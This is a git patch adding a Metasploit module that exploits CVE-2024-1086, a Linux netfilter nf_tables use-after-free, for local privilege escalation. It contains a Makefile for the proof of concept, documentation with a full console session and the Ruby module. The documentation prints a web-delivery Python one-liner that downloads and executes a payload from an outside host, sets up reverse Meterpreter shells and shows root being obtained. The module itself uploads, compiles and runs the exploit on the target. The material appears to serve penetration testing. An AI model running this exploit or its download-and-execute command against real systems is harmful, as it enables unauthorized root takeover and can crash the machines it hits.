From 55372e03fbbdb5c875aa0714bc277ff46938eef4 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 8 Nov 2024 16:46:28 -0500 Subject: [PATCH] WIP --- data/exploits/CVE-2024-1086/LICENSE | 21 +++ data/exploits/CVE-2024-1086/Makefile | 31 +++ .../local/netfilter_nf_tables_priv_esc.md | 153 +++++++++++++++ .../local/netfilter_nf_tables_priv_esc.rb | 177 ++++++++++++++++++ 4 files changed, 382 insertions(+) create mode 100644 data/exploits/CVE-2024-1086/LICENSE create mode 100644 data/exploits/CVE-2024-1086/Makefile create mode 100644 documentation/modules/exploit/linux/local/netfilter_nf_tables_priv_esc.md create mode 100644 modules/exploits/linux/local/netfilter_nf_tables_priv_esc.rb diff --git a/data/exploits/CVE-2024-1086/LICENSE b/data/exploits/CVE-2024-1086/LICENSE new file mode 100644 index 000000000000..2c6fae243779 --- /dev/null +++ b/data/exploits/CVE-2024-1086/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Notselwyn + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/data/exploits/CVE-2024-1086/Makefile b/data/exploits/CVE-2024-1086/Makefile new file mode 100644 index 000000000000..3a806624e769 --- /dev/null +++ b/data/exploits/CVE-2024-1086/Makefile @@ -0,0 +1,31 @@ +SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c +OUT_NAME = ./exploit + +# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu +# and dynamically linking raised glibc ABI versioning errors +CC = musl-gcc + +# use custom headers with fixed versions in a musl-gcc compatible manner +# - ./include/libmnl: libmnl v1.0.5 +# - ./include/libnftnl: libnftnl v1.2.6 +# - ./include/linux-lts-6.1.72: linux v6.1.72 +CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations + +# use custom object archives compiled with musl-gcc for compatibility. normal ones +# are used with gcc and have _chk funcs which musl doesn't support +# the versions are the same as the headers above +LIBMNL_PATH = ./lib/libmnl.a +LIBNFTNL_PATH = ./lib/libnftnl.a + +exploit: _compile_static _strip_bin +run: _run_outfile +clean: _clean_outfile + +_compile_static: + $(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH) +_strip_bin: + strip $(OUT_NAME) +_run_outfile: + $(OUT_NAME) +_clean_outfile: + rm $(OUT_NAME) \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/netfilter_nf_tables_priv_esc.md b/documentation/modules/exploit/linux/local/netfilter_nf_tables_priv_esc.md new file mode 100644 index 000000000000..9bf8fce3a25a --- /dev/null +++ b/documentation/modules/exploit/linux/local/netfilter_nf_tables_priv_esc.md @@ -0,0 +1,153 @@ +## Vulnerable Application + +A use-after-free vulnerability in the Linux kernels netfilter: nf_tables component can be +exploited to achieve local privilege escalation. The nft_verdict_init() function allows +positive values as drop error within the hook verdict, and hence the nf_hook_slow() function +can cause a double free vulnerability when NF_DROP is issued with a drop error which +resembles NF_ACCEPT. + +Devices with a WiFi interface will likely be unstable with this exploit and crash. + +Failed exploitation will likely HARD crash the system or put it into an unreliable state +and it will need a physical reset/reboot. + +Tested against a VM of Ubuntu 22.04 (Linux 5.15.0-60-generic) + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get an initial shell +4. Do: `use exploit/linux/local/netfilter_nf_tables_priv_esc` +5. Do: `run` +6. You should get a root shell. + +## Options + +## Scenarios + +### Ubuntu 22.04 with kernel 5.15.0-60-generic + +Get initial shell. + +``` +resource (netfilter)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (netfilter)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (netfilter)> set uripath a +uripath => a +resource (netfilter)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +[*] Using URL: http://1.1.1.1:8080/a +[*] Server started. +[*] Run the following command on the target machine: +python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/a', context=ssl._create_unverified_context());exec(r.read());" +[*] 2.2.2.2 web_delivery - Delivering Payload (432 bytes) +[*] Sending stage (24768 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:38082) at 2024-11-07 14:15:40 -0500 +``` + +Privilege escalate + +``` +resource (netfilter)> use exploit/linux/local/netfilter_nf_tables_priv_esc +resource (netfilter)> set session 1 +session => 1 +resource (netfilter)> set lport 9879 +lport => 9879 +resource (netfilter)> set verbose true +verbose => true +resource (netfilter)> set compile True +compile => True +msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > +msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > set session 1 +session => 1 +msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > exploit + +[*] Started reverse TCP handler on 1.1.1.1:9879 +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: python +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Kernel version 5.15.0-60-generic appears to be vulnerable +[*] Creating /tmp/.FQ977lR1fc +[*] Creating directory /tmp/.FQ977lR1fc +[*] /tmp/.FQ977lR1fc created +[+] musl-tools is installed +[*] Creating upload zip +[*] Finished creating exploit source zip, uploading... +[*] Unzipping exploit code on remote system +[*] Compiling +musl-gcc -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations src/main.c src/env.c src/net.c src/nftnl.c src/file.c -o ./exploit -static ./lib/libnftnl.a ./lib/libmnl.a +src/main.c:197:13: warning: ‘breached_the_mainframe’ defined but not used [-Wunused-function] + 197 | static void breached_the_mainframe() + | ^~~~~~~~~~~~~~~~~~~~~~ +strip ./exploit +[*] Uploading payload executable to /tmp/.FQ977lR1fc/.usnoXVKwh +[*] Writing '/tmp/.FQ977lR1fc/.usnoXVKwh' (282 bytes) ... +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 + +[*] [*] creating user namespace (CLONE_NEWUSER)... +[*] [*] creating network namespace (CLONE_NEWNET)... +[*] [*] setting up UID namespace... +[*] [*] configuring localhost in namespace... +[*] [*] setting up nftables... +[*] [+] running normal privesc +[*] [*] waiting for the calm before the storm... +[*] [*] sending double free buffer packet... +[*] [*] spraying 16000 pte's... +[*] [*] checking 16000 sprayed pte's for overlap... +[*] [+] confirmed double alloc PMD/PTE +[*] [+] found possible physical kernel base: 000000004da00000 +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 0000000058600000 +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 000000005e400000 +[*] [-] ^false positive. skipping to next one +[*] [-] ^false positive. skipping to next one +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 0000000064400000 +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 000000006ae00000 +[*] [-] ^false positive. skipping to next one +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 0000000087200000 +[*] [-] ^false positive. skipping to next one +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 000000008d000000 +[*] [-] ^false positive. skipping to next one +[*] [-] ^false positive. skipping to next one +[*] [-] ^false positive. skipping to next one +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 0000000090800000 +[*] [-] ^false positive. skipping to next one +[*] [-] ^false positive. skipping to next one +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 000000009da00000 +[*] [-] failed to find correct modprobe_path: trying to find new kernel base... +[*] [+] found possible physical kernel base: 00000000a2e00000 +[*] [-] ^false positive. skipping to next one +[*] [-] ^false positive. skipping to next one +[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died + + +[*] Meterpreter session 2 opened (1.1.1.1:9879 -> 2.2.2.2:46390) at 2024-11-07 14:21:32 -0500 +[-] exploit: Interrupted +msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > +msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > sysinfo +Computer : 2.2.2.2 +OS : Ubuntu 22.04 (Linux 5.15.0-60-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/netfilter_nf_tables_priv_esc.rb b/modules/exploits/linux/local/netfilter_nf_tables_priv_esc.rb new file mode 100644 index 000000000000..1e1f74f7bbdd --- /dev/null +++ b/modules/exploits/linux/local/netfilter_nf_tables_priv_esc.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ManualRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Netfilter nf_tables Linux Priv Esc', + 'Description' => %q{ + A use-after-free vulnerability in the Linux kernels netfilter: nf_tables component can be + exploited to achieve local privilege escalation. The nft_verdict_init() function allows + positive values as drop error within the hook verdict, and hence the nf_hook_slow() function + can cause a double free vulnerability when NF_DROP is issued with a drop error which + resembles NF_ACCEPT. + + Devices with a WiFi interface will likely be unstable with this exploit and crash. + + Successful exploitation will likely crash the original shell. + + Failed exploitation will likely HARD crash the system or put it into an unreliable state + and it will need a physical reset/reboot. Attempted re-exploitation without a reboot will + hard crash the system. + + Tested against a VM of Ubuntu 22.04 (Linux 5.15.0-60-generic) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Notselwyn' # original PoC + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://pwning.tech/nftables/'], + [ 'URL', 'https://github.com/Notselwyn/CVE-2024-1086'], + [ 'CVE', '2024-1086'] + ], + 'DefaultOptions' => { + # without these the system seems to hard crash in 2-6min + # with these i've had both shells and the system stable for over an hour + 'PrependMigrate' => true, + 'PrependFork' => true + }, + 'DisclosureDate' => '2024-01-31', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_OS_DOWN], + 'Reliability' => [UNRELIABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + # there is likely backporting going on per distro as well + release = kernel_release + if ( + Rex::Version.new(release.split('-').first) >= Rex::Version.new('5.15.0') && + Rex::Version.new(release.split('-').first) < Rex::Version.new('6.0') + ) || + ( + Rex::Version.new(release.split('-').first) < Rex::Version.new('6.6') && + Rex::Version.new(release.split('-').first) >= Rex::Version.new('6.0') + ) + return CheckCode::Appears("Kernel version #{release} appears to be vulnerable") + end + + CheckCode::Safe("Kernel version #{release} is not vulnerable") + end + + def check_musl_tools? + lib = cmd_exec('dpkg --get-selections | grep musl-tools') + if lib.include?('musl-tools') + vprint_good('musl-tools is installed') + return true + else + print_error('musl-tools is not installed. Compiling will fail.') + end + false + end + + def exploit + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + nested_base = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + print_status("Creating #{nested_base}") + mkdir nested_base + register_dirs_for_cleanup(nested_base) + + if live_compile? && + check_musl_tools? && + (command_exists?('unzip') || command_exists?('python3')) + print_status 'Creating upload zip' + zip = Rex::Zip::Archive.new + # zip the entire exploit source + exploit_folder = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2024-1086') + exploit_path = ".#{rand_text_alphanumeric(5..10)}" + Dir.glob("#{exploit_folder}/**/*").each do |file| + # avoid .md files + next if File.extname(file) == '.md' || !File.file?(file) || file == 'LICENSE' + + file_contents = File.read(file) + + file_contents.gsub!('OUT_NAME = ./exploit', "OUT_NAME = ./#{exploit_path}") if file.include? 'Makefile' + + # Add each file to the archive with its relative path + zip.add_file(file.split('CVE-2024-1086/')[1], file_contents) + end + print_status('Finished creating exploit source zip, uploading...') + zip_path = "#{nested_base}/.#{rand_text_alphanumeric(5..10)}.zip" + write_file(zip_path, zip.pack) + print_status('Unzipping exploit code on remote system') + # if unzip + # cmd_exec "cd #{nested_base}; pwd; unzip exploit.zip" + # if python3 + if command_exists?('python3') + cmd_exec "python3 -m zipfile -e #{zip_path} #{nested_base}" + else + cmd_exec "unzip #{zip_path} -d #{nested_base}" + end + print_status('Compiling') + cmd_exec "cd #{nested_base}; make" + executable_path = "#{nested_base}/exploit" + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx executable_path, exploit_data('example') + end + + # Upload payload executable + payload_path = "#{nested_base}/.#{rand_text_alphanumeric(5..10)}" + print_status("Uploading payload executable to #{payload_path}") + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the + # output from the exploit being run, they can optionally see it + timeout = 60 + print_status 'Launching exploit... (may take a few minutes)' + # this is the original line we typically use, but exiting from the shell brougth on + # by the exploit causes the system to possibly become unstable. We also use a migrate + # and prepend fork for overall system stability. + # output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout + + output = cmd_exec "echo '#{payload_path}' | #{executable_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end